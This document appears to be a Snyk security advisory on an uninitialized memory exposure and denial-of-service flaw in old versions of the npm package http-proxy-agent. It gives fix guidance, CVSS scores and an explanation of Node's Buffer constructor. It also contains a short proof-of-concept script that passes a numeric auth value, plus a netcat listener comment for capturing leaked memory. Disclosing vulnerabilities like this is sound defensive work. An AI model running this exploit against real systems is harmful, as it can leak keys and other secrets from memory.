Uninitialized Memory Exposure Affecting http-proxy-agent package, versions <2.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    0.24% (63rd percentile)

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  • Snyk ID npm:http-proxy-agent:20180406
  • published 9 Apr 2018
  • disclosed 6 Apr 2018
  • credit ChALkeR

How to fix?

Upgrade https-proxy-agent to version 2.1.0 or higher. Note This is vulnerable only for Node <=4

Overview

http-proxy-agent provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in http module.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure and Denial of Service (DoS) attacks due to passing unsanitized options to Buffer(arg).

Uninitialized memory Exposre PoC by ChALKer

// listen with: nc -l -p 8080

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

References

CVSS Scores

version 3.1
Expand this section

Snyk

8.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

9.8 critical